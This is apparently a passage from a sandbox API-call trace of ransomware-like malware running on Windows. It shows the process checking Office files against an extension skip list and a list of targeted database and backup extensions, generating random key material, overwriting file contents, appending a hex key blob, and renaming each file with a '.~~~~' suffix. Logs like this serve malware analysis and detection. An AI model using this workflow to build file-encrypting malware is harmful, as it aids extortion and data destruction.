	[0145.108] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.108] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.108] CloseHandle (hObject=0x138) returned 1
	[0145.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ace48
	[0145.108] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.~~~~")) returned 1
	[0145.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ace48 | out: hHeap=0x300000) returned 1
	[0145.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0145.111] GetLastError () returned 0x0
	[0145.111] RtlWakeConditionVariable () returned 0x0
	[0145.112] GetCurrentThreadId () returned 0x3a4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".scr") returned 0x0
	[0145.112] lstrlenW (lpString=".cmd") returned 4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".cmd") returned 0x0
	[0145.112] lstrlenW (lpString=".dll") returned 4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".dll") returned 0x0
	[0145.112] lstrlenW (lpString=".bat") returned 4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".bat") returned 0x0
	[0145.112] lstrlenW (lpString=".cpl") returned 4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".cpl") returned 0x0
	[0145.112] lstrlenW (lpString=".sys") returned 4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".sys") returned 0x0
	[0145.112] lstrlenW (lpString=".msc") returned 4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".msc") returned 0x0
	[0145.112] lstrlenW (lpString=".com") returned 4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".com") returned 0x0
	[0145.112] lstrlenW (lpString=".lnk") returned 4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".lnk") returned 0x0
	[0145.112] lstrlenW (lpString=".msp") returned 4
	[0145.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".msp") returned 0x0
	[0145.112] lstrlenW (lpString=".pif") returned 4
	[0145.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".pif") returned 0x0
	[0145.113] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0145.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0145.115] lstrlenW (lpString=".sqb") returned 4
	[0145.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".sqb") returned 0x0
	[0145.115] lstrlenW (lpString=".ost") returned 4
	[0145.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".ost") returned 0x0
	[0145.115] lstrlenW (lpString=".txt") returned 4
	[0145.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".txt") returned 0x0
	[0145.115] lstrlenW (lpString=".mdt") returned 4
	[0145.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".mdt") returned 0x0
	[0145.115] lstrlenW (lpString=".BDB") returned 4
	[0145.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".BDB") returned 0x0
	[0145.115] lstrlenW (lpString=".eql") returned 4
	[0145.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".eql") returned 0x0
	[0145.115] lstrlenW (lpString=".DBF") returned 4
	[0145.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DBF") returned 0x0
	[0145.116] lstrlenW (lpString=".EQL") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".EQL") returned 0x0
	[0145.116] lstrlenW (lpString=".FDB") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".FDB") returned 0x0
	[0145.116] lstrlenW (lpString=".EDB") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".EDB") returned 0x0
	[0145.116] lstrlenW (lpString=".DACPAC") returned 7
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0145.116] lstrlenW (lpString=".VHD") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".VHD") returned 0x0
	[0145.116] lstrlenW (lpString=".DBV") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DBV") returned 0x0
	[0145.116] lstrlenW (lpString=".dacpac") returned 7
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0145.116] lstrlenW (lpString=".sdf") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".sdf") returned 0x0
	[0145.116] lstrlenW (lpString=".accdb") returned 6
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".accdb") returned 0x0
	[0145.116] lstrlenW (lpString=".DBX") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DBX") returned 0x0
	[0145.116] lstrlenW (lpString=".MDT") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".MDT") returned 0x0
	[0145.116] lstrlenW (lpString=".SQB") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".SQB") returned 0x0
	[0145.116] lstrlenW (lpString=".vhd") returned 4
	[0145.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".vhd") returned 0x0
	[0145.117] lstrlenW (lpString=".bac") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".bac") returned 0x0
	[0145.117] lstrlenW (lpString=".mdf") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".mdf") returned 0x0
	[0145.117] lstrlenW (lpString=".BAK") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".BAK") returned 0x0
	[0145.117] lstrlenW (lpString=".BAC") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".BAC") returned 0x0
	[0145.117] lstrlenW (lpString=".dbs") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".dbs") returned 0x0
	[0145.117] lstrlenW (lpString=".vhdx") returned 5
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0145.117] lstrlenW (lpString=".NDF") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".NDF") returned 0x0
	[0145.117] lstrlenW (lpString=".dat") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".dat") returned 0x0
	[0145.117] lstrlenW (lpString=".DBS") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DBS") returned 0x0
	[0145.117] lstrlenW (lpString=".CKP") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".CKP") returned 0x0
	[0145.117] lstrlenW (lpString=".edb") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".edb") returned 0x0
	[0145.117] lstrlenW (lpString=".PST") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".PST") returned 0x0
	[0145.117] lstrlenW (lpString=".dbf") returned 4
	[0145.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".dbf") returned 0x0
	[0145.117] lstrlenW (lpString=".SQL") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".SQL") returned 0x0
	[0145.118] lstrlenW (lpString=".pst") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".pst") returned 0x0
	[0145.118] lstrlenW (lpString=".dbv") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".dbv") returned 0x0
	[0145.118] lstrlenW (lpString=".SDF") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".SDF") returned 0x0
	[0145.118] lstrlenW (lpString=".dtxs") returned 5
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0145.118] lstrlenW (lpString=".db3") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".db3") returned 0x0
	[0145.118] lstrlenW (lpString=".OST") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".OST") returned 0x0
	[0145.118] lstrlenW (lpString=".dbx") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".dbx") returned 0x0
	[0145.118] lstrlenW (lpString=".DB3") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DB3") returned 0x0
	[0145.118] lstrlenW (lpString=".DAT") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DAT") returned 0x0
	[0145.118] lstrlenW (lpString=".VHDX") returned 5
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0145.118] lstrlenW (lpString=".ndf") returned 4
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".ndf") returned 0x0
	[0145.118] lstrlenW (lpString=".DB") returned 3
	[0145.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DB") returned 0x0
	[0145.119] lstrlenW (lpString=".sql") returned 4
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".sql") returned 0x0
	[0145.119] lstrlenW (lpString=".MYD") returned 4
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".MYD") returned 0x0
	[0145.119] lstrlenW (lpString=".DBT") returned 4
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DBT") returned 0x0
	[0145.119] lstrlenW (lpString=".ACCDB") returned 6
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0145.119] lstrlenW (lpString=".fdb") returned 4
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".fdb") returned 0x0
	[0145.119] lstrlenW (lpString=".bak") returned 4
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".bak") returned 0x0
	[0145.119] lstrlenW (lpString=".myd") returned 4
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".myd") returned 0x0
	[0145.119] lstrlenW (lpString=".DTXS") returned 5
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0145.119] lstrlenW (lpString=".ckp") returned 4
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".ckp") returned 0x0
	[0145.119] lstrlenW (lpString=".dbt") returned 4
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".dbt") returned 0x0
	[0145.119] lstrlenW (lpString=".db") returned 3
	[0145.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".db") returned 0x0
	[0145.120] lstrlenW (lpString=".TXT") returned 4
	[0145.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".TXT") returned 0x0
	[0145.120] lstrlenW (lpString=".MDF") returned 4
	[0145.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".MDF") returned 0x0
	[0145.120] lstrlenW (lpString=".bdb") returned 4
	[0145.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".bdb") returned 0x0
	[0145.120] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0145.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0145.120] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3956b8) returned 1
	[0145.121] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0145.121] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0145.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0145.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0145.122] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26511175413) returned 1
	[0145.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbfe87290, dwHighDateTime=0x1d60e1e)) 
	[0145.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0145.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0145.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0145.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f940
	[0145.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f940 | out: hHeap=0x300000) returned 1
	[0145.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0145.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37eb78
	[0145.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0145.122] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.123] GetLastError () returned 0x0
	[0145.123] GetLastError () returned 0x0
	[0145.123] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.123] GetLastError () returned 0x0
	[0145.123] GetLastError () returned 0x0
	[0145.123] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0xcd, lpOverlapped=0x0) returned 1
	[0145.125] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff33, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.125] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcd, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xcd, lpOverlapped=0x0) returned 1
	[0145.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.125] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.125] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.126] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.126] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.126] CloseHandle (hObject=0x138) returned 1
	[0145.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37eb78
	[0145.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.~~~~")) returned 1
	[0145.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37eb78 | out: hHeap=0x300000) returned 1
	[0145.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0145.129] GetLastError () returned 0x0
	[0145.129] RtlWakeConditionVariable () returned 0x365f70
	[0145.129] GetCurrentThreadId () returned 0x3a4
	[0145.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.129] lstrlenW (lpString=".cmd") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.130] lstrlenW (lpString=".dll") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.130] lstrlenW (lpString=".bat") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.130] lstrlenW (lpString=".cpl") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.130] lstrlenW (lpString=".sys") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.130] lstrlenW (lpString=".msc") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.130] lstrlenW (lpString=".com") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".com") returned 0x0
	[0145.130] lstrlenW (lpString=".lnk") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.130] lstrlenW (lpString=".msp") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.130] lstrlenW (lpString=".pif") returned 4
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.130] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0145.133] lstrlenW (lpString=".sqb") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.133] lstrlenW (lpString=".ost") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.133] lstrlenW (lpString=".txt") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.133] lstrlenW (lpString=".mdt") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.133] lstrlenW (lpString=".BDB") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.133] lstrlenW (lpString=".eql") returned 4
